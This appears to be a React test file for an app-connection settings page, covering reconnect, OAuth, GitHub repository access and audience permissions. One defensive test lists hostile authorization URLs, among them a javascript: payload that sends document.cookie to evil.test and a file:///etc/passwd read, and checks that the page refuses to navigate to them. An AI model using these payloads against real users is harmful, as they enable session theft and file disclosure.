||
id: "life-quarantine",
|
||
connectionId: "conn-1",
|
||
type: "actions_quarantined",
|
||
actorType: "system",
|
||
actorId: null,
|
||
agentId: null,
|
||
actorDisplayName: null,
|
||
details: { count: 2 },
|
||
createdAt: new Date("2026-06-12T10:50:00Z"),
|
||
},
|
||
],
|
||
issues: {},
|
||
actionRequests: {},
|
||
});
|
||
|
||
await renderAppDetail();
|
||
|
||
expect(navigateComponentMock).toHaveBeenCalledWith({
|
||
to: "/activity?action=tool_",
|
||
replace: true,
|
||
});
|
||
});
|
||
|
||
it("keeps the header and reconnect banner across tabs", async () => {
|
||
mockParams.tab = "permissions";
|
||
getConnectionMock.mockResolvedValue(connection({
|
||
healthStatus: "degraded",
|
||
healthMessage: "Token expired.",
|
||
}));
|
||
|
||
await renderAppDetail();
|
||
|
||
expect(container.textContent).toContain("GitHub");
|
||
expect(container.textContent).toContain("Needs attention");
|
||
expect(container.textContent).toContain("This app needs reconnecting");
|
||
expect(container.textContent).toContain("Token expired.");
|
||
expect(container.textContent).toContain("Which agents can use this connection?");
|
||
});
|
||
|
||
it.each([
|
||
{ name: "remote.url", placement: "url", key: "url", prefix: null, label: "MCP server URL", value: "https://example.com/mcp?token=fresh", path: "remote.url" },
|
||
{ name: "headers.X-Api-Key", placement: "header", key: "X-Api-Key", prefix: null, label: "X-Api-Key", value: "fresh-key", path: "headers.X-Api-Key" },
|
||
{ name: "authorization", placement: "header", key: "Authorization", prefix: "Bearer ", label: "App key", value: "fresh-token", path: "credentials.authorization" },
|
||
])("reconnects a generic $label using its stored credential placement", async (fixture) => {
|
||
listGalleryMock.mockResolvedValue({ apps: [] });
|
||
listApplicationsMock.mockResolvedValue({ applications: [] });
|
||
getConnectionMock.mockResolvedValue(connection({
|
||
authKind: "api_key",
|
||
healthStatus: "missing_secret",
|
||
credentialRefs: [{ ...fixture, secretId: "old-secret", version: "latest" }],
|
||
}));
|
||
reconnectConnectionMock.mockResolvedValue({ connection: connection({ healthStatus: "ok" }) });
|
||
await renderAppDetail();
|
||
|
||
const field = container.querySelector<HTMLInputElement>(`input[aria-label="${fixture.label}"]`);
|
||
expect(field).not.toBeNull();
|
||
await act(() => setInputValue(field!, fixture.value));
|
||
await act(() => findButton("Check & reconnect")!.click());
|
||
await flushReact();
|
||
|
||
expect(reconnectConnectionMock).toHaveBeenCalledWith("conn-1", { [fixture.path]: fixture.value });
|
||
expect(pushToastMock).toHaveBeenCalledWith(expect.objectContaining({ title: "Reconnected" }));
|
||
});
|
||
|
||
it.each(["permissions", "review"])("offers a supported replacement for an obsolete Anthropic connection on %s", async (tab) => {
|
||
mockParams.tab = tab;
|
||
listApplicationsMock.mockResolvedValue({ applications: [] });
|
||
listGalleryMock.mockResolvedValue({ apps: [getAppStoreDefinition("anthropic")!] });
|
||
getConnectionMock.mockResolvedValue(connection({
|
||
name: "Anthropic",
|
||
transport: "rest_api",
|
||
authKind: "api_key",
|
||
config: { sourceTemplateKey: "anthropic", connectionMethodKey: "api-key" },
|
||
healthStatus: "error",
|
||
healthMessage: "This connection has no supported tool integration.",
|
||
}));
|
||
|
||
await renderAppDetail();
|
||
|
||
expect(container.querySelector('input[type="password"]')).toBeNull();
|
||
expect(findButton("Check & reconnect")).toBeUndefined();
|
||
expect(findButton("Reconnect")).toBeUndefined();
|
||
expect(container.textContent).toContain("Connection no longer supported");
|
||
expect(container.textContent).toContain("then remove this connection");
|
||
expect(container.querySelector('a[href="/apps/connect?source=anthropic"]')?.textContent)
|
||
.toBe("Add supported connection");
|
||
});
|
||
|
||
it("offers retry for a transient GitHub error without asking for another login", async () => {
|
||
mockParams.tab = "permissions";
|
||
getConnectionMock.mockResolvedValue(connection({
|
||
authKind: "oauth", healthStatus: "error", requiresReauthorization: false,
|
||
healthMessage: "GitHub access changed during refresh. Try again.",
|
||
}));
|
||
await renderAppDetail();
|
||
expect(container.textContent).toContain("Retry access");
|
||
expect(container.textContent).not.toContain("Reconnect required");
|
||
});
|
||
|
||
it("links a failed GitHub refresh to the suspended installation's settings", async () => {
|
||
mockParams.tab = "permissions";
|
||
const message = "The Paperclip GitHub installation is suspended. Unsuspend it on GitHub before refreshing access.";
|
||
getConnectionMock.mockResolvedValue(connection({
|
||
authKind: "oauth", healthStatus: "error", requiresReauthorization: false, healthMessage: message,
|
||
}));
|
||
checkConnectionHealthMock.mockRejectedValue(new ApiError(message, 422, {
|
||
error: message,
|
||
code: "github_installation_required",
|
||
details: {
|
||
code: "github_installation_required",
|
||
managementUrl: "https://github.com/organizations/paperclipai/settings/installations/101",
|
||
},
|
||
}));
|
||
const client = await renderAppDetail();
|
||
await act(async () => {
|
||
Array.from(container.querySelectorAll("button"))
|
||
.find((button) => button.textContent?.trim() === "Retry access")
|
||
?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
|
||
expect(checkConnectionHealthMock).toHaveBeenCalledWith("conn-1");
|
||
expect(container.querySelector('a[href="https://github.com/organizations/paperclipai/settings/installations/101"]')?.textContent)
|
||
.toBe("Open installation settings on GitHub");
|
||
|
||
// An already-cached connection that also needs attention must not inherit that link.
|
||
const other = connection({
|
||
id: "conn-2", authKind: "oauth", healthStatus: "error", requiresReauthorization: false, healthMessage: message,
|
||
});
|
||
getConnectionMock.mockResolvedValue(other);
|
||
client.setQueryData(queryKeys.tools.connection("conn-2"), other);
|
||
mockParams.connectionId = "conn-2";
|
||
await act(async () => {
|
||
root.render(
|
||
<QueryClientProvider client={client}>
|
||
<AppDetail />
|
||
</QueryClientProvider>,
|
||
);
|
||
});
|
||
await flushReact();
|
||
|
||
expect(container.textContent).toContain("Retry access");
|
||
expect(container.querySelector('a[href="https://github.com/organizations/paperclipai/settings/installations/101"]')).toBeNull();
|
||
});
|
||
|
||
it("shows terminal OAuth failures as reconnect-required sign-in", async () => {
|
||
mockParams.tab = "permissions";
|
||
getConnectionMock.mockResolvedValue(connection({
|
||
authKind: "oauth",
|
||
healthStatus: "failed",
|
||
healthMessage: "Authorization expired (invalid_grant).",
|
||
}));
|
||
|
||
await renderAppDetail();
|
||
|
||
expect(container.textContent).toContain("Reconnect required");
|
||
expect(container.textContent).toContain("Authorization expired (invalid_grant).");
|
||
expect(container.querySelector('input[placeholder="Paste your new key"]')).toBeNull();
|
||
|
||
await act(async () => {
|
||
Array.from(container.querySelectorAll("button"))
|
||
.find((button) => button.textContent?.trim() === "Reconnect")
|
||
?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
|
||
expect(startOAuthMock).toHaveBeenCalledWith("conn-1");
|
||
expect(navigateTopLevelMock).toHaveBeenCalledWith("https://example.test/oauth");
|
||
});
|
||
|
||
it("reconnects an OAuth warning through the connection's existing personal identity", async () => {
|
||
mockParams.tab = "permissions";
|
||
getConnectionMock.mockResolvedValue(connection({
|
||
authKind: "oauth",
|
||
credentialPolicy: "per_user",
|
||
createdByUserId: "user-1",
|
||
healthStatus: "failed",
|
||
healthMessage: "Authorization expired (invalid_grant).",
|
||
}));
|
||
|
||
await renderAppDetail();
|
||
await act(async () => {
|
||
Array.from(container.querySelectorAll("button"))
|
||
.find((button) => button.textContent?.trim() === "Reconnect")
|
||
?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
|
||
expect(startOAuthMock).toHaveBeenCalledWith("conn-1", { asCurrentUser: true });
|
||
expect(navigateTopLevelMock).toHaveBeenCalledWith("https://example.test/oauth");
|
||
});
|
||
|
||
it("does not offer a personal reconnect to someone other than its fixed owner", async () => {
|
||
mockParams.tab = "permissions";
|
||
getConnectionMock.mockResolvedValue(connection({
|
||
authKind: "oauth",
|
||
credentialPolicy: "per_user",
|
||
createdByUserId: "user-2",
|
||
healthStatus: "failed",
|
||
healthMessage: "Authorization expired (invalid_grant).",
|
||
}));
|
||
listConnectionGrantsMock.mockResolvedValue({
|
||
connection: { id: "conn-1", uid: "conn-1" },
|
||
grants: [personalGrant({ id: "grant-other", subjectUserId: "user-2" })],
|
||
capabilities: fullCapabilities({ canViewOtherPersonalIdentities: true }),
|
||
currentUserId: "user-1",
|
||
members: [{ userId: "user-2", name: "Carol", email: "carol@example.com" }],
|
||
});
|
||
|
||
await renderAppDetail();
|
||
|
||
expect(container.textContent).toContain("Reconnect required");
|
||
expect(container.textContent).toContain("The person this connection belongs to must reconnect it.");
|
||
expect(findButton("Reconnect")).toBeUndefined();
|
||
expect(startOAuthMock).not.toHaveBeenCalled();
|
||
});
|
||
|
||
it("does not offer personal key replacement to someone other than its fixed owner", async () => {
|
||
mockParams.tab = "permissions";
|
||
getConnectionMock.mockResolvedValue(connection({
|
||
authKind: "api_key",
|
||
credentialPolicy: "per_user",
|
||
createdByUserId: "user-2",
|
||
healthStatus: "failed",
|
||
healthMessage: "The key was rejected.",
|
||
}));
|
||
listConnectionGrantsMock.mockResolvedValue({
|
||
connection: { id: "conn-1", uid: "conn-1" },
|
||
grants: [personalGrant({ id: "grant-other", subjectUserId: "user-2" })],
|
||
capabilities: fullCapabilities({ canViewOtherPersonalIdentities: true }),
|
||
currentUserId: "user-1",
|
||
members: [{ userId: "user-2", name: "Carol", email: "carol@example.com" }],
|
||
});
|
||
|
||
await renderAppDetail();
|
||
|
||
expect(container.textContent).toContain("This app needs reconnecting");
|
||
expect(container.textContent).toContain("The person this connection belongs to must reconnect it.");
|
||
expect(Array.from(container.querySelectorAll("button")).filter(
|
||
(button) => button.textContent?.trim() === "Reconnect",
|
||
)).toHaveLength(0);
|
||
});
|
||
|
||
/**
|
||
* PAP-17099 — the server refuses to hand out an unsafe authorization endpoint,
|
||
* but this is the boundary where one would actually execute, so the board must
|
||
* refuse it independently of what the response body says.
|
||
*/
|
||
it.each([
|
||
["javascript:", "javascript:fetch('https://evil.test/'+document.cookie)"],
|
||
["data:", "data:text/html,<script>alert(document.domain)</script>"],
|
||
["file:", "file:///etc/passwd"],
|
||
["plaintext http", "http://evil.test/authorize"],
|
||
["credentials", "https://accounts.example.test@evil.test/authorize"],
|
||
])("never navigates to a %s authorization url", async (_label, authorizationUrl) => {
|
||
mockParams.tab = "permissions";
|
||
getConnectionMock.mockResolvedValue(connection({
|
||
authKind: "oauth",
|
||
healthStatus: "failed",
|
||
healthMessage: "Authorization expired (invalid_grant).",
|
||
}));
|
||
startOAuthMock.mockResolvedValue({
|
||
connectionId: "conn-1",
|
||
provider: "generic",
|
||
authorizationUrl,
|
||
expiresAt: "2026-07-10T00:00:00.000Z",
|
||
});
|
||
|
||
await renderAppDetail();
|
||
await act(async () => {
|
||
Array.from(container.querySelectorAll("button"))
|
||
.find((button) => button.textContent?.trim() === "Reconnect")
|
||
?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
|
||
expect(navigateTopLevelMock).not.toHaveBeenCalled();
|
||
expect(pushToastMock).toHaveBeenCalledWith(expect.objectContaining({ tone: "error" }));
|
||
// The refusal explains itself without echoing the hostile URL back into the DOM.
|
||
const body = String(pushToastMock.mock.calls.at(-1)?.[0]?.body ?? "");
|
||
expect(body.length).toBeGreaterThan(0);
|
||
expect(body).not.toContain(authorizationUrl);
|
||
});
|
||
|
||
// -------------------------------------------------------------------------
|
||
// Personal connection identity (PAP-17835). These cover the permission
|
||
// matrix in the accepted design: a member self-serving, manager oversight,
|
||
// a read-only viewer, and the audience editor's two scopes.
|
||
// -------------------------------------------------------------------------
|
||
|
||
function perUserConnection(overrides: Record<string, unknown> = {}) {
|
||
return connection({ credentialPolicy: "per_user", authKind: "oauth", ...overrides });
|
||
}
|
||
|
||
function findButton(label: string) {
|
||
return Array.from(container.querySelectorAll("button"))
|
||
.find((button) => button.textContent?.trim() === label);
|
||
}
|
||
|
||
it("does not label a revoked AI credential as Connected", async () => {
|
||
getConnectionMock.mockResolvedValue(connection({ connectionPurpose: "ai", transport: "runtime_auth", healthStatus: "ok", config: { provider: "openai", method: "api_key" } }));
|
||
listConnectionGrantsMock.mockResolvedValue({ connection: { id: "conn-1" }, grants: [organizationGrant({ status: "revoked" })], capabilities: fullCapabilities(), currentUserId: "user-1", members: [] });
|
||
await renderAppDetail();
|
||
expect(container.textContent).toContain("Revoked");
|
||
expect(container.textContent).not.toContain("Connected");
|
||
});
|
||
|
||
it("keeps the app header concise on every tab", async () => {
|
||
mockParams.tab = "permissions";
|
||
getConnectionMock.mockResolvedValue(perUserConnection());
|
||
|
||
await renderAppDetail();
|
||
|
||
expect(container.textContent).toContain("Connected");
|
||
expect(container.textContent).not.toContain("This connection is for one person.");
|
||
expect(container.textContent).not.toContain("Connected by");
|
||
});
|
||
|
||
it("lets a regular member connect their own identity and never someone else's", async () => {
|
||
mockParams.tab = "permissions";
|
||
getConnectionMock.mockResolvedValue(perUserConnection());
|
||
startPersonalAuthorizationMock.mockResolvedValue({ url: "https://accounts.example.test/authorize" });
|
||
|
||
await renderAppDetail();
|
||
|
||
// Missing personal identity is explicit, never a silent fallback.
|
||
expect(container.textContent).toContain("Which humans can use this credential?");
|
||
expect(container.textContent).toContain("Only you can use this connection");
|
||
expect(container.textContent).toContain("Personal account");
|
||
expect(container.textContent).toContain("Not connected");
|
||
expect(container.textContent).not.toContain("Organization identity");
|
||
expect(findButton("Connect organization identity")).toBeUndefined();
|
||
|
||
await act(async () => {
|
||
findButton("Connect as me")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
|
||
// The subject is the signed-in user, so there is no path here to start
|
||
// consent on a coworker's behalf.
|
||
expect(startPersonalAuthorizationMock).toHaveBeenCalledWith("company-1", "conn-1", {
|
||
subjectUserId: "user-1",
|
||
returnTo: "/apps/conn-1/permissions",
|
||
});
|
||
expect(navigateTopLevelMock).toHaveBeenCalledWith("https://accounts.example.test/authorize");
|
||
});
|
||
|
||
it("keeps personal managed authorization in the tenant until the provider is ready", async () => {
|
||
const session = "personal_background_session_1234";
|
||
const request = vi.spyOn(globalThis, "fetch").mockResolvedValue(Response.json({
|
||
authorizationUrl: "https://provider.example.test/authorize?state=personal",
|
||
}));
|
||
mockParams.tab = "permissions";
|
||
getConnectionMock.mockResolvedValue(perUserConnection());
|
||
startPersonalAuthorizationMock.mockResolvedValue({
|
||
url: "https://my.paperclip.app/connections/confirm?session=legacy",
|
||
handoff: { kind: "paperclip_cloud", session },
|
||
});
|
||
|
||
await renderAppDetail();
|
||
await act(async () => {
|
||
findButton("Connect as me")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
|
||
expect(request).toHaveBeenCalledWith("/cloud/connections/handoff", expect.objectContaining({
|
||
method: "POST",
|
||
body: JSON.stringify({ session }),
|
||
}));
|
||
await vi.waitFor(() => {
|
||
expect(navigateTopLevelMock).toHaveBeenCalledWith(
|
||
"https://provider.example.test/authorize?state=personal",
|
||
);
|
||
});
|
||
expect(navigateTopLevelMock).not.toHaveBeenCalledWith(expect.stringContaining("/connections/confirm"));
|
||
});
|
||
|
||
it("keeps a viewer read-only across identities and installs", async () => {
|
||
mockParams.tab = "permissions";
|
||
getConnectionMock.mockResolvedValue(connection({ credentialPolicy: "shared" }));
|
||
listConnectionGrantsMock.mockResolvedValue({
|
||
connection: { id: "conn-1", uid: "conn-1" },
|
||
grants: [organizationGrant({ capabilities: { canRevoke: false, canEditAudience: false } })],
|
||
capabilities: {
|
||
canConfigure: false,
|
||
canCreateOrganizationGrant: false,
|
||
canSetCompanyInstall: false,
|
||
canConnectAsCurrentUser: false,
|
||
canManageAgentInstalls: false,
|
||
canViewOtherPersonalIdentities: false,
|
||
editableAgentIds: [],
|
||
},
|
||
currentUserId: "viewer-1",
|
||
members: [],
|
||
});
|
||
|
||
await renderAppDetail();
|
||
|
||
expect(container.textContent).toContain("Anyone in your company can use this connection");
|
||
|
||
// State stays legible...
|
||
expect(container.textContent).toContain("Anyone in your company can use this connection");
|
||
expect(container.textContent).not.toContain("Personal account");
|
||
// ...and every mutation control is absent rather than disabled.
|
||
expect(findButton("Connect as me")).toBeUndefined();
|
||
expect(findButton("Manage access")).toBeUndefined();
|
||
expect(findButton("Revoke")).toBeUndefined();
|
||
expect(findButton("Connect organization identity")).toBeUndefined();
|
||
});
|
||
|
||
it("shows one fixed personal identity without an organization switch", async () => {
|
||
mockParams.tab = "permissions";
|
||
getConnectionMock.mockResolvedValue(perUserConnection({ createdByUserId: "user-2" }));
|
||
revokeConnectionGrantMock.mockResolvedValue({ id: "grant-other", kind: "user" });
|
||
listConnectionGrantsMock.mockResolvedValue({
|
||
connection: { id: "conn-1", uid: "conn-1" },
|
||
grants: [
|
||
organizationGrant(),
|
||
personalGrant({ id: "grant-other", subjectUserId: "user-2" }),
|
||
],
|
||
capabilities: fullCapabilities({ canViewOtherPersonalIdentities: true }),
|
||
currentUserId: "user-1",
|
||
members: [
|
||
{ userId: "user-1", name: "Dotta", email: "dotta@example.com" },
|
||
{ userId: "user-2", name: "Carol", email: "carol@example.com" },
|
||
],
|
||
});
|
||
|
||
await renderAppDetail();
|
||
|
||
expect(container.textContent).toContain("Only you can use this connection");
|
||
expect(container.textContent).toContain("Carol");
|
||
expect(container.textContent).not.toContain("Organization identity");
|
||
expect(container.textContent).not.toContain("Other personal identities");
|
||
expect(findButton("Connect organization identity")).toBeUndefined();
|
||
expect(findButton("Agents")).toBeUndefined();
|
||
|
||
expect(findButton("Reconnect")).toBeUndefined();
|
||
expect(findButton("Revoke")).toBeUndefined();
|
||
});
|
||
|
||
it("shows the personal GitHub username and every accessible repository", async () => {
|
||
mockParams.tab = "permissions";
|
||
getConnectionMock.mockResolvedValue(perUserConnection());
|
||
listConnectionGrantsMock.mockResolvedValue({
|
||
connection: { id: "conn-1", uid: "conn-1" },
|
||
grants: [dedicatedGitHubGrant({ kind: "user", subjectAgentId: null, subjectUserId: "user-1" }, {
|
||
repositoryCount: 2,
|
||
repositories: [
|
||
{ id: "1", fullName: "paperclipai/first", installationId: "456", private: true },
|
||
{ id: "2", fullName: "paperclipai/second", installationId: "456", private: false },
|
||
],
|
||
})],
|
||
capabilities: fullCapabilities(), currentUserId: "user-1", members: [],
|
||
});
|
||
await renderAppDetail();
|
||
expect(container.textContent).toContain("@dottabot");
|
||
expect(container.textContent).toContain("2 selected repositories");
|
||
expect(container.querySelectorAll('ul[aria-label="Accessible GitHub repositories"] li')).toHaveLength(2);
|
||
expect(container.textContent).toContain("paperclipai/first");
|
||
expect(container.textContent).toContain("paperclipai/second");
|
||
expect(container.querySelector('a[href="https://github.com/paperclipai/first"] [aria-label="Private repository"]')).toBeTruthy();
|
||
expect(container.querySelector('a[href="https://github.com/paperclipai/second"] [aria-label="Private repository"]')).toBeNull();
|
||
const configureHint = [...container.querySelectorAll("p a")].find((link) => link.textContent === "Configure access on GitHub");
|
||
expect(configureHint?.getAttribute("href")).toBe("https://github.com/apps/paperclip-test/installations/new");
|
||
});
|
||
|
||
it.each([undefined, "https://github.com/settings/installations"])("loads missing GitHub app configuration instead of linking legacy settings (%s)", async (installationUrl) => {
|
||
mockParams.tab = "permissions";
|
||
getConnectionMock.mockResolvedValue(perUserConnection());
|
||
listConnectionGrantsMock.mockResolvedValue({
|
||
connection: { id: "conn-1", uid: "conn-1" },
|
||
grants: [dedicatedGitHubGrant({ kind: "user", subjectAgentId: null, subjectUserId: "user-1" }, { installationUrl })],
|
||
capabilities: fullCapabilities(), currentUserId: "user-1", members: [],
|
||
});
|
||
await renderAppDetail();
|
||
expect(findButton("Load GitHub configuration")).toBeTruthy();
|
||
expect(container.querySelector('a[href="https://github.com/settings/installations/456"]')).toBeNull();
|
||
expect(container.querySelector('a[href="https://github.com/settings/installations"]')).toBeNull();
|
||
listConnectionGrantsMock.mockResolvedValue({
|
||
connection: { id: "conn-1", uid: "conn-1" },
|
||
grants: [dedicatedGitHubGrant({ kind: "user", subjectAgentId: null, subjectUserId: "user-1" }, {
|
||
appSlug: "paperclip-staging", installationUrl: "https://github.com/apps/paperclip-staging/installations/new",
|
||
})],
|
||
capabilities: fullCapabilities(), currentUserId: "user-1", members: [],
|
||
});
|
||
await act(async () => { findButton("Load GitHub configuration")!.click(); });
|
||
await flushReact();
|
||
expect(checkConnectionHealthMock).toHaveBeenCalledWith("conn-1");
|
||
expect(container.querySelector('a[href="https://github.com/apps/paperclip-staging/installations/new"]')?.textContent).toBe("Add More Repos on GitHub");
|
||
expect(findButton("Load GitHub configuration")).toBeUndefined();
|
||
});
|
||
|
||
it.each([false, true])("shows repositories across accounts without filter controls (empty: %s)", async (empty) => {
|
||
mockParams.tab = "permissions";
|
||
getConnectionMock.mockResolvedValue(perUserConnection());
|
||
listConnectionGrantsMock.mockResolvedValue({
|
||
connection: { id: "conn-1", uid: "conn-1" },
|
||
grants: [dedicatedGitHubGrant({ kind: "user", subjectAgentId: null, subjectUserId: "user-1" }, {
|
||
repositoryCount: empty ? 0 : 3,
|
||
installationOwnerLogins: ["paperclipai", "dottabot", "empty-org"],
|
||
repositories: empty ? [] : [
|
||
{ id: "1", fullName: "paperclipai/first", installationId: "456" },
|
||
{ id: "2", fullName: "paperclipai/second", installationId: "456" },
|
||
{ id: "3", fullName: "dottabot/first", installationId: "789" },
|
||
],
|
||
})],
|
||
capabilities: fullCapabilities(), currentUserId: "user-1", members: [],
|
||
});
|
||
await renderAppDetail();
|
||
const repositoryNames = () => [...container.querySelectorAll('ul[aria-label="Accessible GitHub repositories"] a')].map((link) => link.textContent);
|
||
expect(repositoryNames()).toEqual(empty ? [] : ["paperclipai/first", "paperclipai/second", "dottabot/first"]);
|
||
if (empty) {
|
||
expect(container.querySelector('p[role="status"]')?.textContent?.trim()).toBe("No accessible repositories.");
|
||
expect(container.textContent).not.toContain("Refresh access to load the current repository list.");
|
||
}
|
||
expect(container.querySelector('[aria-label="Filter repositories by account or organization"]')).toBeNull();
|
||
expect(container.querySelector('input[aria-label="Search GitHub repositories"]')).toBeNull();
|
||
expect(container.querySelector('a[href="https://github.com/apps/paperclip-test/installations/new"]')?.textContent).toBe("Add More Repos on GitHub");
|
||
expect(updateConnectionMock).not.toHaveBeenCalled();
|
||
});
|
||
|
||
it("shows dedicated GitHub access as compact action rows and links to the agent", async () => {
|
||
mockParams.tab = "permissions";
|
||
getConnectionMock.mockResolvedValue(connection({
|
||
credentialPolicy: "per_agent",
|
||
authKind: "oauth",
|
||
}));
|
||
listConnectionGrantsMock.mockResolvedValue({
|
||
connection: { id: "conn-1", uid: "conn-1" },
|
||
grants: [dedicatedGitHubGrant()],
|
||
capabilities: fullCapabilities(),
|
||
currentUserId: "user-1",
|
||
members: [],
|
||
});
|
||
|
||
await renderAppDetail();
|
||
|
||
expect(container.querySelector('a[href="/agents/coder"]')?.textContent).toContain("Used only by Coder");
|
||
expect(container.textContent).toContain("Repositories");
|
||
expect(container.textContent).toContain("1 selected repository");
|
||
expect(container.querySelector('a[href="https://github.com/dottabot"]')?.textContent).toBe("@dottabot");
|
||
expect(container.querySelector('a[href="https://github.com/paperclipai/test-repo"]')?.textContent).toBe("paperclipai/test-repo");
|
||
expect(container.querySelector(
|
||
'a[href="https://github.com/apps/paperclip-test/installations/new"]',
|
||
)?.textContent).toBe("Add More Repos on GitHub");
|
||
expect(container.querySelector('button[aria-label="Refresh access"]')).toBeTruthy();
|
||
expect(container.textContent).not.toContain("Installation");
|
||
expect(container.textContent).not.toContain("Token continuity");
|
||
expect(container.textContent).not.toContain("Webhook health");
|
||
expect(container.textContent).not.toContain("Last event");
|
||
expect(container.textContent).not.toContain("Last access refresh");
|
||
expect(container.textContent).not.toContain("Shell Git and gh use this account");
|
||
|
||
const askFirst = container.querySelector<HTMLButtonElement>('button[aria-label="Read repo: Ask first"]');
|
||
expect(askFirst).toBeTruthy();
|
||
await act(async () => {
|
||
askFirst!.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
|
||
expect(container.textContent).toContain(
|
||
"Shell Git and gh use this account for the run and are not constrained by per-tool Ask-first controls.",
|
||
);
|
||
});
|
||
|
||
it("warns about all-repository GitHub access within the repository row", async () => {
|
||
mockParams.tab = "permissions";
|
||
getConnectionMock.mockResolvedValue(connection({
|
||
credentialPolicy: "per_agent",
|
||
authKind: "oauth",
|
||
}));
|
||
listConnectionGrantsMock.mockResolvedValue({
|
||
connection: { id: "conn-1", uid: "conn-1" },
|
||
grants: [dedicatedGitHubGrant({}, {
|
||
repositoryCount: 0,
|
||
repositorySelection: "all",
|
||
})],
|
||
capabilities: fullCapabilities(),
|
||
currentUserId: "user-1",
|
||
members: [],
|
||
});
|
||
|
||
await renderAppDetail();
|
||
|
||
expect(container.textContent).toContain("All current and future repositories");
|
||
expect(container.textContent).not.toContain("selected repositories");
|
||
});
|
||
|
||
it.each([
|
||
["mixed", "Mixed access; scope varies by installation"],
|
||
["none", "No repositories selected"],
|
||
] as const)("labels %s GitHub repository access explicitly", async (repositorySelection, expected) => {
|
||
mockParams.tab = "permissions";
|
||
getConnectionMock.mockResolvedValue(connection({
|
||
credentialPolicy: "per_agent",
|
||
authKind: "oauth",
|
||
}));
|
||
listConnectionGrantsMock.mockResolvedValue({
|
||
connection: { id: "conn-1", uid: "conn-1" },
|
||
grants: [dedicatedGitHubGrant({}, {
|
||
repositoryCount: 0,
|
||
repositorySelection,
|
||
})],
|
||
capabilities: fullCapabilities(),
|
||
currentUserId: "user-1",
|
||
members: [],
|
||
});
|
||
|
||
await renderAppDetail();
|
||
|
||
expect(container.textContent).toContain(expected);
|
||
expect(container.textContent).not.toContain("selected repositories");
|
||
});
|
||
|
||
it("persists an empty audience as all organization members", async () => {
|
||
mockParams.tab = "permissions";
|
||
getConnectionMock.mockResolvedValue(connection({ createdByUserId: "user-1" }));
|
||
replaceConnectionGrantMembersMock.mockResolvedValue(organizationGrant({ members: [] }));
|
||
listConnectionGrantsMock.mockResolvedValue({
|
||
connection: { id: "conn-1", uid: "conn-1" },
|
||
grants: [organizationGrant({
|
||
members: [{ id: "m-1", companyId: "company-1", grantId: "grant-org", subjectType: "user", subjectId: "user-2", createdAt: new Date() }],
|
||
})],
|
||
capabilities: fullCapabilities(),
|
||
currentUserId: "user-1",
|
||
members: [
|
||
{ userId: "user-1", name: "Dotta", email: "dotta@example.com" },
|
||
{ userId: "user-2", name: "Carol", email: "carol@example.com" },
|
||
],
|
||
});
|
||
|
||
await renderAppDetail();
|
||
|
||
expect(container.textContent).toContain("Anyone in your company can use this connection");
|
||
|
||
await act(async () => {
|
||
findButton("Manage access")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
|
||
await act(async () => {
|
||
Array.from(document.body.querySelectorAll('[role="radio"]'))
|
||
.find((option) => option.textContent?.includes("All organization members"))
|
||
?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
|
||
await act(async () => {
|
||
Array.from(document.body.querySelectorAll("button"))
|
||
.find((button) => button.textContent?.trim() === "Save audience")
|
||
?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
|
||
// "All members" is the empty set on the wire; the UI never says "empty".
|
||
expect(replaceConnectionGrantMembersMock).toHaveBeenCalledWith("conn-1", "grant-org", []);
|
||
});
|
||
|
||
it("persists a selected audience and keeps the dialog open when the server refuses", async () => {
|
||
mockParams.tab = "permissions";
|
||
getConnectionMock.mockResolvedValue(connection({ createdByUserId: "user-1" }));
|
||
replaceConnectionGrantMembersMock.mockRejectedValue(
|
||
new Error("Every audience member must be an active company member"),
|
||
);
|
||
listConnectionGrantsMock.mockResolvedValue({
|
||
connection: { id: "conn-1", uid: "conn-1" },
|
||
grants: [organizationGrant({ members: [] })],
|
||
capabilities: fullCapabilities(),
|
||
currentUserId: "user-1",
|
||
members: [
|
||
{ userId: "user-1", name: "Dotta", email: "dotta@example.com" },
|
||
{ userId: "user-2", name: "Carol", email: "carol@example.com" },
|
||
],
|
||
});
|
||
|
||
await renderAppDetail();
|
||
|
||
await act(async () => {
|
||
findButton("Manage access")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
|
||
await act(async () => {
|
||
Array.from(document.body.querySelectorAll('[role="radio"]'))
|
||
.find((option) => option.textContent?.includes("Selected members"))
|
||
?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
|
||
await act(async () => {
|
||
Array.from(document.body.querySelectorAll("button"))
|
||
.find((button) => button.textContent?.includes("Choose people"))
|
||
?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
|
||
await act(async () => {
|
||
document.body.querySelector<HTMLElement>('[aria-label="Allow Carol"]')
|
||
?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
|
||
await act(async () => {
|
||
Array.from(document.body.querySelectorAll("button"))
|
||
.find((button) => button.textContent?.trim() === "Save audience")
|
||
?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
|
||
expect(replaceConnectionGrantMembersMock).toHaveBeenCalledWith("conn-1", "grant-org", ["user-2"]);
|
||
// A denial keeps the dialog open with the selection intact and explains
|
||
// itself inline, rather than dropping the work into a toast.
|
||
const dialogText = document.body.textContent ?? "";
|
||
expect(dialogText).toContain("Who can use this identity");
|
||
expect(dialogText).toContain("Every audience member must be an active company member");
|
||
});
|
||
});
|